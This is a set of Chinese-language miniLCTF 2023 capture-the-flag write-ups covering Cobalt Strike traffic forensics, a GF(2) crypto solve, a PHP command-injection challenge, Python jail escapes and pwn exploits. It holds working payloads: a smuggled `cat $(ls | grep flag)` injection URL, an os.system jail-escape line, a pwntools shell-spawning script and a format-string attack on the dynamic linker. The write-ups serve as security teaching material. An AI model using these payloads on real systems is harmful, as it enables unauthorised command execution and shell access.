78 | ``` 79 | 80 | 打开看看: 81 | 82 | ``` 83 | Market Item: Rare Photo of Rx (plus a free flag) 84 | Password: f9b7535d9df327f9474b64d233db9143 85 | ``` 86 | 87 | 好嘛,Rx 帅照,这下不得不接着做了。 88 | 89 | 有密码了总得有个东西让我解密吧?Logcat 没信息了,只能在流量包翻啊翻,怎么看到不少 ls 输出,这人怎么好像在 shell 里面翻东西的样子?好像是进了 QQ 的附件下载文件夹,翻到最后看到一个 zip 文件名 (No. 8319): 90 | 91 | ``` 92 | /sdcard/Android/data/com.tencent.mobileqq/Tencent/QQfile_recv/Photos.zip 93 | ``` 94 | 95 | 好嘛,来了。但是一看接下来的几个大包:怎么只有 PK 头没有 PK 尾啊? 96 | 97 | 然后我就自我怀疑了一个晚上。正好当晚因为一些事情很抑郁,Rx 也和我说这次问出题人题目的人太多了,校赛的意义完全丧失了,于是我也就完全失去了询问出题人的想法。 98 | 99 | 第二天中午还是忍不住问了出题人,结果出题人说自己不小心传错附件了,这里的几个包(因为我也不知道的原因)被设备加密了,于是做不出来。 100 | 101 | 于是 Flag 就变成了上面的密码,`miniLCTF{f9b7535d9df327f9474b64d233db9143}`。 102 | 103 | 啊。还好。 104 | 105 | ## Counterstrike 106 | 107 | 一道干扰巨多、信息量巨大的题目。踩了很多坑,绕了很多路,写 wp 的时候按照整理后的顺序写,并且省略了很多本人的 nt 操作,实际上这道题折腾了我一整天。 108 | 109 | ### Flag 1 110 | 111 | 题目给的两个包都以 TCP 流量为主。首先从 `victim.pcapng` 开始看。流量特别多特别杂,直到看到 No. 828:`GET /miniL1.html`。 112 | 113 | 查看返回的 HTML 不难发现,这是一个由于使用 Electron 的某开发者没做好基本安全措施而导致的 RCE。结合同包的上文,很难不怀疑这是超星电脑端的锅。 114 | 115 | 同包中有另一段 script,可以看出是一段混淆的 JS,直接执行会报错。将 eval 中的匿名函数拆出来单独执行,返回一段 JS,格式化后展示如下: 116 | 117 | ```javascript 118 | function xorEncrypt(a, b) { 119 | let result = ""; 120 | for (let i = 0; i < a.length; i++) { 121 | const charCode = a.charCodeAt(i) ^ b.charCodeAt(i % b.length); 122 | result += String.fromCharCode(charCode); 123 | } 124 | return btoa(result); 125 | } 126 | 127 | let flag = "REMOVED_BY_HACKER_HAHAHAHA_TRY_DECRYPT_IT"; 128 | console.log(xorEncrypt(flag, "SECRET_KEY_balabalabala")); 129 | console.log( 130 | "Encrypted Message:PiwtOwkXCw0+DHsHPi8OICEAFTEVHigYdhwlDCAXFAYYKjYoXC89" 131 | ); 132 | ``` 133 | 134 | 是个异或,稍微改改: 135 | 136 | ```javascript 137 | function xorDecrypt(a, b) { 138 | a = atob(a); 139 | let result = ""; 140 | for (let i = 0; i < a.length; i++) { 141 | const charCode = a.charCodeAt(i) ^ b.charCodeAt(i % b.length); 142 | result += String.fromCharCode(charCode); 143 | } 144 | return result; 145 | } 146 | 147 | let flag = "PiwtOwkXCw0+DHsHPi8OICEAFTEVHigYdhwlDCAXFAYYKjYoXC89"; 148 | console.log(xorDecrypt(flag, "SECRET_KEY_balabalabala")); 149 | ``` 150 | 151 | 我还以为我要找 Secret Key 的,没想到就直接给我出了。至此找到 Flag 1:`miniLCTF{U$e_CoB@ltStrIK3_wItH_CAuTI0N_`。Flag 1 提示了 Cobalt Strike,这是一个用于红队的测试渗透工具。我们下文会提到。 152 | 153 | ### 梳理思路 154 | 155 | 从 `/miniL1.html` 追踪到 `/miniL2.html`,发现开始动 Powershell 了,几层 Base64 解下来,发现已经开始动 shellcode 了,后续就是向服务器 HTTP 提交一些不知所云的 payload 了。对这边的追踪只能就此作罢。 156 | 157 | 观察另一个包 `victim's server.pcap`。一上来就是个 `evil.svg`,然后就是从 `evil.svg` 里加载 `EvilJar-1.0-jar-with-dependencies.jar`。不是,这都什么年代了还在浏览器用 Java 啊?然后看到 `evil.svg` 里包含了一串文字:`CVE-2022-39197`。 158 | 159 | Cobalt Strike 是 C/S 架构,红队搭建一个共用服务器,队员使用客户端连接并操作服务器,服务器与植入受控机的 beacon 进行通信。客户端使用 SWING 作为 GUI 框架,而当时 SWING 的 HTML 代码动态加载并没有严格地被限制。而 `CVE-2022-39197` 的原理,就是通过伪造受控机上线,利用 beacon 的漏洞返回一个格式错误的用户名,进而执行 XSS 反制攻击者。 160 | 161 | 事已至此,先逆 JAR 吧。 162 | 163 | ![JD-GUI 截图](assets/ZeroAurora-4.png) 164 | 165 | 这个 JAR 在其他系统都只是弹计算器,在 Windows 上就通过 1033 端口做坏事了。于是在 `victim's server.pcap` 中过滤 1033 端口的 TCP 包,容易看到这个机器的 cmd 已经被监控了。 166 | 167 | 当然,一番查找,我们也很容易看出两个机器的用户名:`victim` 的用户是题干所述的 sonpyh,而 `victim's server` 的用户是 hypnotics。于是这两个人在干什么就很清楚了: 168 | 169 | ![Sequence Chart](assets/ZeroAurora-5.png) 170 | 171 | 这也就呼应了题目的简介。另外顺便一提,梳理完这两人的关系之后,我觉得题目给的两个文件名并不是很准确:同一个词 victim 被用来指代两个不同的人。不过也随便啦。 172 | 173 | ## Flag 2 174 | 175 | 梳理清楚之后,就要考虑从哪里拿 Flag 了。 176 | 177 | hypnotics 被监视的流量包中有一个用 `certutil.exe` Base64 过的文件:`.cobaltstrike.beacon_keys`,不管怎么说先导出来解码保存。需要注意的是 certutil 会自动向文件头尾加证书头尾,以至于我一度以为这是证书文件浪费了好久。 178 | 179 | 除此之外,hypnotics 一侧就没什么好看的了。于是目光转向 sonpyh 一侧,考虑分析那几个 payload。 180 | 181 | 搜索相关资料,找到了一系列来自 [NVISO Lab](https://www.nviso.eu) 的 [Cobalt Strike 流量分析专栏文章](https://blog.nviso.eu/series/cobalt-strike-decrypting-traffic/),以及文章作者 [Didier Stevens](https://blog.didierstevens.com/about/) 为文章配套的 [一系列工具](https://blog.didierstevens.com/programs/cobalt-strike-tools/)。我们实际要用到的只有其中的两个:`cs-decrypt-metadata` 和 `cs-parse-traffic`。 182 | 183 | Cobalt Strike 的 beacon metadata 藏在 Cookie 中,而 Cookie 则藏在向伪造的 `/IE9CompatViewList.xml` 的请求中。使用 `cs-decrypt-metadata` 工具,利用先前的 `.cobaltstrike.beacon_keys` 对其进行解密,就能找到加密 payload 的密钥: 184 | 185 | ``` 186 | $ python ./cs-decrypt-metadata.py -f .cobaltstrike.beacon_keys (cat metadata_cookie) 187 | Input: E/GLBY8y0zSYzQryoyZzZ1Z7f0wFbcleeaBHG73+8SzCmhAe4BYLMP/kbM9Y13Y1S13yXWMH9IFNnTp52QJyXKL2eAdKeHyQA/qcP0lX7RL6pkT4GVdRfrMRXtaAPNUyPDUj5LZ+fRd5p1KQDQoQ0Ik8dYtSV7kDl26C/e1/C+E= 188 | [...] 189 | Decrypted: 190 | Header: 0000beef 191 | Datasize: 00000058 192 | Raw key: abd65d240026ab1d8f0a0eca97f2e710 193 | aeskey: 25465e54b77dd74ef43712494d3fcaa0 194 | hmackey: 8032472a398493c6bb29c08a1e54eac6 195 | [...] 196 | ``` 197 | 198 | (P.S. 其实整个流量包中有两个 metadata cookie,我们只需要第一个,也就是 `GET /IE9CompatViewList.xml` 中的来解题。`GET /j.ad` 的 cookie 只能解最后一个 payload,对解题没有作用。) 199 | 200 | 然后,我们便可使用 `cs-parse-traffic` 和密钥直接解析流量包中的 payload: 201 | 202 | ``` 203 | $ python cs-parse-traffic.py -r abd65d240026ab1d8f0a0eca97f2e710 ./victim.pcapng -Y "http and ip.addr==101.42.254.207" > traffic1.txt 204 | ``` 205 | 206 | 查看解析结果,`flag.zip` 在包 No. 1924 的 dir 回显中出现了。No. 1969 中有对文件的操作,从这里把文件提取出来: 207 | 208 | ``` 209 | $ python cs-parse-traffic.py -r abd65d240026ab1d8f0a0eca97f2e710 ./victim.pcapng -Y "frame.number==1969" -e 210 | ``` 211 | 212 | 可是 zip 有密码啊!顺着之前的解析接着往下看可以看到一系列的 keystroke callback。说实在话我真不觉得这是键盘的输入事件,因为当你使用 GBK 解码的时候你甚至能看到“输入密码”字样…… 213 | 214 | ``` 215 | b'!\x00\x00\x00\n\n\x03C\xca\xe4\xc8\xeb\xc3\xdc\xc2\xeb\n\x03E=======\x0f\ne83e449b-\x01\x00\x00\x00\x08\x00\x00\x00\xca\xe4\xc8\xeb\xc3\xdc\xc2\xeb\x06\x00\x00\x00sonpyh' 216 | b'\x0b\x00\x00\x002454-4093-b\x01\x00\x00\x00\x08\x00\x00\x00\xca\xe4\xc8\xeb\xc3\xdc\xc2\xeb\x06\x00\x00\x00sonpyh' 217 | b'\t\x00\x00\x0050b-38b04\x01\x00\x00\x00\x08\x00\x00\x00\xca\xe4\xc8\xeb\xc3\xdc\xc2\xeb\x06\x00\x00\x00sonpyh' 218 | b'\x07\x00\x00\x00883e82b\x01\x00\x00\x00\x04\x00\x00\x00flag\x06\x00\x00\x00sonpyh' 219 | 220 | # GBK 解码第一行 be like: 221 | '!\x00\x00\x00\n\n\x03C输入密码\n\x03E=======\x0f\ne83e449b-\x01\x00\x00\x00\x08\x00\x00\x00输入密码\x06\x00\x00\x00sonpyh' 222 | ``` 223 | 224 | 但总之,从这几个 keystroke callback 中,可以找出零散在各处的一串的 UUID:`e83e449b-2454-4093-b50b-38b04883e82b`。 225 | 226 | 用这个作为密码,解压。成功得到 Flag 2:`oR_6Et_pwNEd_1n_r3veRs3}` 227 | 228 | 于是 Flag:`miniLCTF{U$e_CoB@ltStrIK3_wItH_CAuTI0N_oR_6Et_pwNEd_1n_r3veRs3}` 229 | 230 | ## 后记 231 | 232 | pycalculator 一题的 WriteUp 由 Koito Coco 撰写,我就不写了。 233 | 234 | 我本来应该在这里写点什么感想的,但是想了想,WriteUp 还是集中精力分析技术比较好。 235 | 236 | 总之,感谢“熬夜型rx直播切片委员会”的各位。 237 | 238 | 另外感谢 Rx 本人能在深夜陪我瞎 bb。 239 | -------------------------------------------------------------------------------- /WriteUps/熬夜型rx直播切片委员会/assets/ZeroAurora-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/熬夜型rx直播切片委员会/assets/ZeroAurora-1.png -------------------------------------------------------------------------------- /WriteUps/熬夜型rx直播切片委员会/assets/ZeroAurora-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/熬夜型rx直播切片委员会/assets/ZeroAurora-2.png -------------------------------------------------------------------------------- /WriteUps/熬夜型rx直播切片委员会/assets/ZeroAurora-3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/熬夜型rx直播切片委员会/assets/ZeroAurora-3.png -------------------------------------------------------------------------------- /WriteUps/熬夜型rx直播切片委员会/assets/ZeroAurora-4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/熬夜型rx直播切片委员会/assets/ZeroAurora-4.png -------------------------------------------------------------------------------- /WriteUps/熬夜型rx直播切片委员会/assets/ZeroAurora-5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XDSEC/miniLCTF_2023/9bc221635378de8014b263985af672c63562c6fc/WriteUps/熬夜型rx直播切片委员会/assets/ZeroAurora-5.png -------------------------------------------------------------------------------- /WriteUps/熬夜型rx直播切片委员会/koito.md: -------------------------------------------------------------------------------- 1 | # miniL CTF 2023 partial WriteUps by Koito Coco 2 | 3 | ## Crypto WriteUp - giveaway 4 | 5 | ***坏了,给我这非预期一搞,真白给了*** 6 | ***感谢polar老师的指导,我是真的不会sagemath呜呜呜,我菜死了喵*** 7 | 8 | 首先有个`proof_of_work`,有手就行,直接写个小工具爆破即可 9 | 10 | ```python 11 | #!venv/bin/python 12 | 13 | from itertools import product 14 | from hashlib import sha256 15 | 16 | 17 | def main(): 18 | known = (known_[5:] if (known_ := input("known part: "))[:5] == "XXXX+" else known_) 19 | sha = input("sha256: ") 20 | 21 | for a, b, c, d in product("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", repeat=4): 22 | if sha256((a + b + c + d + known).encode()).hexdigest() == sha: 23 | print(a + b + c + d) 24 | return 25 | print("not found") 26 | 27 | 28 | if __name__ == "__main__": 29 | main() 30 | ``` 31 | 32 | 然后进入正题,先贴一些关键的题目代码,代码不是完整的,完整的请看题目的GitHub仓库 33 | 34 | ```python 35 | def dec2blist(decimal, length): 36 | """ 37 | Converts an integer to a binary list of a specified length, filling zeros on the left if necessary. 38 | """ 39 | bitlist = [] 40 | while decimal > 0: 41 | bit = decimal % 2 42 | bitlist.append(bit) 43 | decimal //= 2 44 | bitlist.reverse() 45 | if len(bitlist) < length: 46 | bitlist = [0] * (length - len(bitlist)) + bitlist 47 | return bitlist 48 | ``` 49 | 这个`dec2blist`还是好理解的,就是把一个整数转换成一个0和1的列表,如果长度小于给定的长度,在前端补0 50 | 51 | ```python 52 | def bake(list1,list2): 53 | return reduce((lambda x,y: x ^ y) , list(map(lambda x, y: x and y, list1, list2)) ) 54 | ``` 55 | 这个`bake`看起来挺短,但是还是得琢磨一下的,表面上看是两个列表逐一做and运算,然后通过一个xor做reduce,我的理解是,假定两个参数是长度相等的列表,且每一个元素的值都是0或者1,则可以把and运算看成`list1`和`list2`两个n维向量逐项相乘,得到的每一项也都是0或者1,因此xor运算就可以看做把相乘得到各项相加,然后取mod2。也就是`bake`是求两个向量的数量积,然后取mod 2,换句话说,是在mod2有限域下的向量乘法 56 | 57 | ```python 58 | def send_a_chocolate(self): 59 | assert len(bin(bytes_to_long(message)))-2==511 60 | dough=bytes_to_long(message) 61 | chocolate_jam=random.getrandbits(512) 62 | cookie=bake(dec2blist(dough, 512), dec2blist(chocolate_jam,512)) 63 | self.send(f"[+] The lucky sticker reads ({cookie},{hex(chocolate_jam)}). Yummy!\n".encode()) 64 | ``` 65 | 这个也好理解,就是把flag和一个随机的jam通过bake得到一个result,将result和jam一起返回 66 | 67 | 虽然出题人的本意是限制获取不超过508组jam和result的,但是这是静态flag,而且也没加salt( 68 | 那我多次请求不就好了吗(~~polar: 草草草草,黑客!~~ 69 | 70 | 于是我就获得了512组jam和result 71 | 72 | 每个jam是一个长512的行向量,构成了一个512x512的系数方阵*A*,要求的flag构成了未知列向量*x*,result构成了列向量*u*,有方程 *A \* x* == *u* 73 | 74 | 方程放到sage里面,求解就ok了 75 | 76 | ```python 77 | from xxx import A, x, u # 这个得自己想办法了,太长了把我worksheet都搞卡了( 78 | 79 | # 这是sagemath 80 | R = IntegerModRing(2) 81 | A = Matrix(R,A) 82 | v = vector(R,v) 83 | x = A.solve_right(v) 84 | ``` 85 | 得到的还是一个0和1的列表,再写个小脚本转换一下 86 | 87 | ```python 88 | from Crypto.Util.number import long_to_bytes 89 | 90 | print(long_to_bytes(int("".join(str(bit) for bit in x),2))) 91 | ``` 92 | 93 | done 94 | 95 | ## Web WriteUp - Signin 96 | 97 | 先贴题目shell.php (刚打开的时候是一个**特别土的字符雨**以及**不明所以的面具人**和**极度中二的几行话**,f12查看页面源码可以看到注释中提示有shell.php) 98 | 99 | ```php 100 | $c(),$d,$e); 129 | $str2 = substr($class->$c(),$f,$g); 130 | $str1($str2); 131 | 132 | //flag.php 133 | ``` 134 | 135 | 经过简单分析,可以知道这段代码是从查询字符串里面读出参数~~废话~~,然后用`$b`为**参数**,初始化了一个**名称**为`$a`的**内部类**,再从这个对象实例中的**名称**为`$c`的方法的返回**结果**中,**提取了两个子字符串** 136 | 137 | 首先可以排除`$a`和`$c`这两个参数,因为一个是内部类,一个是方法名,肯定不是可自由控制的,那就只能是`$b`为自由控制的了。 138 | 139 | 其中这里对`$a`进行的一个过滤反而给了提示,简单查查就可以发现`Exception`这个类,接受一个字符串参数作为错误消息,并且可以通过`getMessage()`方法来获取这个消息,这不就秒了吗( 140 | 141 | 你先别急,这还有对`$b`的过滤呢,最末尾已经提示了"flag.php",但是php又在过滤范围内,怎么搞?别忘了`system()`函数调的是一个shell,可以用一些sh的语法,比如`ls` -> `ls | grep flag` -> `cat $(ls | grep flag)`,这不就读到了吗( 142 | 143 | 你还是别急,这么做之后你会发现,怎么没有回显?????? 144 | 145 | 我猜测是混进源码被解释器执行了,无所谓,只要能提出flag就行了,别的行爱怎么样怎么样,再来一个grep!`cat $(ls | grep flag) | grep {` 直接筛选有`{`的行,最后回显有且仅有flag的内容 146 | 147 | 上payload `http://127.0.0.1/shell.php?a=Exception&b=systemcat $(ls . | grep flag) | grep {&c=getMessage&d=0&e=6&f=6&g=114` 148 | 149 | ## Misc WriteUp - PyCalc 150 | 151 | emmm,这是个**misc**,也没有附件,只有一个~~wsrx地址~~,用nc连上,提示这是一个基于python的计算器,随便输点发现只要有`A-z`的字符出现,马上就会报hacker并切断链接。 152 | 153 | 显然,这是一个pyjail的逃逸。 154 | 155 | 既然`A-z`都不能用,那就得想办法替代`A-z`,上课摸鱼一顿搜,搜到了[PEP - 3131](https://peps.python.org/pep-3131/),这个规范提出了可以用一部分等效的unicode字符来作为python identifier的一部分,找到对应的unicode字符表,可以写一段简单的代码进行转换 156 | 157 | ```python 158 | "".join([(chr(ord(x)-ord("a")+ord("\U0001d44e")) if ord(x)>= ord("A") and ord(x)<=ord("z") else x) for x in "eval(input())"]) 159 | ``` 160 | 161 | 转换得到结果`𝑒𝑣𝑎𝑙(𝑖𝑛𝑝𝑢𝑡())`,丢到解释器里面执行,发现和`eval(input())`的行为一模一样,直接把这一行喂给题目环境,再输入指令 162 | 163 | ```python 164 | __import__("os").system("cat flag") 165 | ``` 166 | 167 | over 168 | 169 | ## Misc WriteUp - evase64 170 | 171 | 先看题,题目很短 172 | 173 | ```python 174 | import ast 175 | import base64 176 | 177 | input_data = input(">>> ") 178 | 179 | parser_tree = ast.parse(input_data, mode = 'eval') 180 | assert not any(isinstance(node, ast.Call) for node in ast.walk(parser_tree)) 181 | del ast 182 | 183 | eval_result = eval(compile(parser_tree, filename = '', mode = 'eval')) 184 | decode_base64 = int.from_bytes(base64.b64decode(input_data), byteorder = 'little') 185 | del base64 186 | 187 | if eval_result == decode_base64: 188 | flag = open("flag").read().strip() 189 | print(flag) 190 | ``` 191 | 192 | 主要做的两件事情就是,先用ast验证是否存在函数调用,如果存在,则直接assert报错 193 | 然后分别用eval和base64解码得到两个值,进行比较,如果为`True`则返回flag 194 | 195 | ast的函数调用限制基本上是绕不开了,而且这里用的是eval模式,也不能用`=`运算,所以入手点只能是base64的一些特性 196 | 197 | 看base64库的`b64decode`默认参数,输入的是string或者bytes 然后有一个验证选项 198 | 199 | ```python 200 | def b64decode(s, altchars=None, validate=False): 201 | """Decode the Base64 encoded bytes-like object or ASCII string s. 202 | 203 | Optional altchars must be a bytes-like object or ASCII string of length 2 204 | which specifies the alternative alphabet used instead of the '+' and '/' 205 | characters. 206 | 207 | The result is returned as a bytes object. A binascii.Error is raised if 208 | s is incorrectly padded. 209 | 210 | If validate is False (the default), characters that are neither in the 211 | normal base-64 alphabet nor the alternative alphabet are discarded prior 212 | to the padding check. If validate is True, these non-alphabet characters 213 | in the input result in a binascii.Error. 214 | """ 215 | s = _bytes_from_decode_data(s) 216 | if altchars is not None: 217 | altchars = _bytes_from_decode_data(altchars) 218 | assert len(altchars) == 2, repr(altchars) 219 | s = s.translate(bytes.maketrans(altchars, b'+/')) 220 | if validate and not re.fullmatch(b'[A-Za-z0-9+/]*={0,2}', s): 221 | raise binascii.Error('Non-base64 digit found') 222 | return binascii.a2b_base64(s) 223 | ``` 224 | 225 | 这个验证会要求输入在`[A-z0-9+/]`之间,但是默认是关闭的 也就是忽略无效的字节,所以如果我的payload里面没有在`[A-z0-9+/]`之间的字符,那最终base64解出来是0,所以eval用这之外的字符构造一个返回值为`val`的表达式,能使得`val == 0`为`True`就可以了 226 | 227 | 在python里面还有一个小trick,就是`False == 0`,所以有了一个最短的payload(之一,目前已发现的)`[]!=[]` 228 | -------------------------------------------------------------------------------- /WriteUps/熬夜型rx直播切片委员会/pwn_wp_by_Static.md: -------------------------------------------------------------------------------- 1 | # minilctf2023 pwn wp 2 | 3 | ## 3calls 4 | 5 | `checksec`看到保护全开,程序没有沙箱,也就没必要用描述中说的orw 6 | 7 | IDA打开看到程序直接给出了libc地址,会读取3次,然后check读入的数据,最后依次调用读入的3个函数。check函数会检查libc中是否由地址所对应的函数,也就是不能随意调用某一句,只能调用封装好的整个函数。 8 | 9 | ```c 10 | libc = (__int64)(&printf - 49390); 11 | printf("gift: %p\n", &printf - 49390); 12 | for ( i = 0; i <= 2; ++i ) 13 | read(0, &F[i], 8uLL); 14 | puts("good job!"); 15 | for ( j = 0; j <= 2; ++j ) 16 | F[j](); 17 | ``` 18 | 19 | 这样一来,`system`函数必不可少。然后就是需要给其传参,显然不能直接传参。调试发现(调试时可以patch掉check函数,因为check函数会产生其他进程,让gdb无法attach到后续逻辑)程序执行`F[0]`时的rdi为 20 | 21 | ```asm 22 | RDI 0x7ffff7faea70 (_IO_stdfile_1_lock) ◂— 0x0 23 | ``` 24 | 25 | 这个区域是一个可读写的区域,因此可以调用gets函数读取`/bin/sh`字符串,但是在调用gets的时候出现了一些玄学的问题(我没调试清楚),我第一次需要用一个gets直接读取换行符,第二个gets读取`/bin0sh`字符串(因为字符0的位置在下一个函数执行时会自动减一,也是没调试清楚),然后第三次就直接`system("/bin/sh")`了 26 | 27 | exp: 28 | 29 | ```python 30 | #!/usr/bin/env python3 31 | from pwn import* 32 | context(arch = 'x86_64', log_level = 'debug') 33 | 34 | #io = remote('localhost',34643) 35 | io = process('./3calls_2') 36 | libc = ELF('./libc.so.6') 37 | 38 | io.recvuntil(b'0x') 39 | libcbase = int(io.recv(12), 16) 40 | log.success('libcbase ===> '+hex(libcbase)) 41 | 42 | #attach(io) 43 | #pause() 44 | 45 | io.send(p64(libcbase+libc.symbols['gets'])) 46 | sleep(0.1) 47 | io.send(p64(libcbase+libc.symbols['gets'])) 48 | sleep(0.1) 49 | io.send(p64(libcbase+libc.symbols['system'])) 50 | sleep(1) 51 | 52 | io.recvuntil(b'good job!\n') 53 | io.send(b'\n') 54 | sleep(1) 55 | io.sendline(b'/bin0sh') 56 | sleep(1) 57 | 58 | io.interactive() 59 | ``` 60 | 61 | ## broken_machine 62 | 63 | Wings说这道题非预期了,预期解是在沙箱下硬搞,想想就害怕😰,这里写写我的非预期,非预期的地方是在进入沙箱之前就通过signal异常处理来退出,进入`_dl_fini`执行对应指针,然后`execve("/bin/sh\x00", 0, 0)` 64 | 65 | `checksec`看到只没开PIE,IDA打开看到 66 | 67 | ```c 68 | puts("Hi there! I've made a shellcode machine. Could you please input you code to test my machine? Thank you!"); 69 | signal(11, handler); 70 | fgets(buf, 1024, stdin); 71 | v4 = 0; 72 | for ( i = 0; i <= 1023; ++i ) 73 | v4 += buf[i] == 110; 74 | if ( v4 <= 1 ) 75 | machine(); 76 | ``` 77 | 78 | `signal(11, handler);`信号处理函数会在程序执行产生`SIGSEGV`信号即异常时会进入handler函数进行退出。后面的for循环会检查读入了几个n,最多只能读入一个n 79 | 80 | 然后看`machine()`函数 81 | 82 | ```c 83 | __int64 machine() 84 | { 85 | char *s; // [rsp+8h] [rbp-8h] 86 | 87 | s = (char *)mmap((void *)0x1000, 0x1000uLL, 7, 34, -1, 0LL); 88 | puts("Prepare code..."); 89 | sprintf(s, buf); 90 | sleep(1u); 91 | puts("Setup sandbox..."); 92 | mprotect(s, 0x1000uLL, 5); 93 | sandbox(); 94 | sleep(1u); 95 | puts("Finished!"); 96 | return MEMORY[0x1000](); 97 | } 98 | ``` 99 | 100 | mmap会分配一片可读可写可执行的区域,地址为0x1000,但是要注意的是在一般在linux系统中mmap可分配的最低地址为0x10000`cat /proc/sys/vm/mmap_min_addr可以查看系统mmap可申请最低内存,一般为65536`(参考文章:[mmap x86小于0x10000的虚地址 | Richard's Blog (richardustc.github.io)](http://richardustc.github.io/2013-05-21-2013-05-21-min-mmap-addr.html)),因此s的地址实际上是0x10000,所以最后的shellcode跳转实际上是非法内存访问,会直接跳转到信号处理函数 101 | 102 | sprintf这里是一个格式化字符串漏洞,后面沙箱会限制常用的一些系统调用,如下 103 | 104 | ```c 105 | line CODE JT JF K 106 | ================================= 107 | 0000: 0x20 0x00 0x00 0x00000004 A = arch 108 | 0001: 0x15 0x00 0x14 0xc000003e if (A != ARCH_X86_64) goto 0022 109 | 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 110 | 0003: 0x35 0x12 0x00 0x40000000 if (A >= 0x40000000) goto 0022 111 | 0004: 0x15 0x11 0x00 0x0000003b if (A == execve) goto 0022 112 | 0005: 0x15 0x10 0x00 0x00000142 if (A == execveat) goto 0022 113 | 0006: 0x15 0x0f 0x00 0x00000002 if (A == open) goto 0022 114 | 0007: 0x15 0x0e 0x00 0x00000101 if (A == openat) goto 0022 115 | 0008: 0x15 0x0d 0x00 0x00000000 if (A == read) goto 0022 116 | 0009: 0x15 0x0c 0x00 0x00000013 if (A == readv) goto 0022 117 | 0010: 0x15 0x0b 0x00 0x00000011 if (A == pread64) goto 0022 118 | 0011: 0x15 0x0a 0x00 0x00000127 if (A == preadv) goto 0022 119 | 0012: 0x15 0x09 0x00 0x00000039 if (A == fork) goto 0022 120 | 0013: 0x15 0x08 0x00 0x0000003a if (A == vfork) goto 0022 121 | 0014: 0x15 0x07 0x00 0x00000029 if (A == socket) goto 0022 122 | 0015: 0x15 0x06 0x00 0x0000002a if (A == connect) goto 0022 123 | 0016: 0x15 0x05 0x00 0x0000002b if (A == accept) goto 0022 124 | 0017: 0x15 0x04 0x00 0x0000009d if (A == prctl) goto 0022 125 | 0018: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0022 126 | 0019: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0022 127 | 0020: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0022 128 | 0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW 129 | 0022: 0x06 0x00 0x00 0x00000000 return KILL 130 | ``` 131 | 132 | 可以看到基本常用的getshell,orw的都被禁用了 133 | 134 | 然后可利用的漏洞就只有sprintf的格式化字符串了,而且还只能用一次%n,题目后面给出了hint`栈里面怎么会有ld地址,这是什么`,然后调试到栈部分,发现了两个ld地址 135 | 136 | ```asm 137 | 0x7ffeeaf26778 —▸ 0x7f6948f8f040 (_rtld_global) —▸ 0x7f6948f902e0 ◂— 0x0 138 | 0x7ffeeaf267e0 —▸ 0x7f6948f902e0 ◂— 0x0 139 | ``` 140 | 141 | 一个是`_rtld_global`结构体的地址,一个是`_rtld_global`结构体的`link_map`地址,可以都用%n试试,然后就能发现改第二个的时候,程序在`exit()`的时候会跳转到一个奇怪的地址,比如我们修改它为0x10,调试时在执行sprintf后发出`signal SIGSEGV`后进入信号处理发现程序崩溃 142 | 143 | ```asm 144 | 0x0000000000000080 in ?? () 145 | LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 146 | ──────────────────────[ REGISTERS / show-flags off / show-compact-regsoff]────────────────────── 147 | *RAX 0x403d90 (_DYNAMIC+8) ◂— 0x80 148 | *RBX 0x7f2e26821040 (_rtld_global) —▸ 0x7f2e268222e0 ◂— 0x10 149 | RCX 0x1 150 | *RDX 0x1 151 | *RDI 0x7f2e26821a48 (_rtld_global+2568) ◂— 0x0 152 | *RSI 0x403d90 (_DYNAMIC+8) ◂— 0x80 153 | *R8 0x7ffdd880a720 —▸ 0x7f2e268222e0 ◂— 0x10 154 | *R9 0x20 155 | R10 0x0 156 | *R11 0x7ffdd880a650 —▸ 0x7f2e268222e0 ◂— 0x10 157 | *R12 0x0 158 | *R13 0x7f2e26821a48 (_rtld_global+2568) ◂— 0x0 159 | *R14 0x7ffdd880a720 —▸ 0x7f2e268222e0 ◂— 0x10 160 | *R15 0x7f2e268222e0 ◂— 0x10 161 | *RBP 0x7ffdd880a7a0 ◂— 0x0 162 | *RSP 0x7ffdd880a718 —▸ 0x7f2e267ed24e (_dl_fini+526) ◂— mov rax, qword ptr [rbp - 0x38] 163 | *RIP 0x80 164 | ───────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────── 165 | Invalid address 0x80 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | ──────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────── 177 | 00:0000│ rsp 0x7ffdd880a718 —▸ 0x7f2e267ed24e (_dl_fini+526) ◂— mov rax, qword ptr [rbp - 0x38] 178 | 01:0008│ r8 r14 0x7ffdd880a720 —▸ 0x7f2e268222e0 ◂— 0x10 179 | 02:0010│ 0x7ffdd880a728 —▸ 0x7f2e26822890 —▸ 0x7ffdd89e7000 ◂— jg 0x7ffdd89e7047 180 | 03:0018│ 0x7ffdd880a730 —▸ 0x7f2e267e54d0 —▸ 0x7f2e265ab000 ◂— 0x3010102464c457f 181 | 04:0020│ 0x7ffdd880a738 —▸ 0x7f2e26821af0 (_rtld_global+2736) —▸ 0x7f2e267e7000 ◂— 0x3010102464c457f 182 | 05:0028│ 0x7ffdd880a740 ◂— 0x1efe9660 183 | 06:0030│ 0x7ffdd880a748 —▸ 0x7ffdd880a740 ◂— 0x1efe9660 184 | 07:0038│ 0x7ffdd880a750 —▸ 0x7ffdd880a740 ◂— 0x1efe9660 185 | ──────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────── 186 | ► f 0 0x80 187 | f 1 0x7f2e267ed24e _dl_fini+526 188 | f 2 0x7f2e265f0495 __run_exit_handlers+261 189 | f 3 0x7f2e265f0610 on_exit 190 | f 4 0x4012c3 sandbox 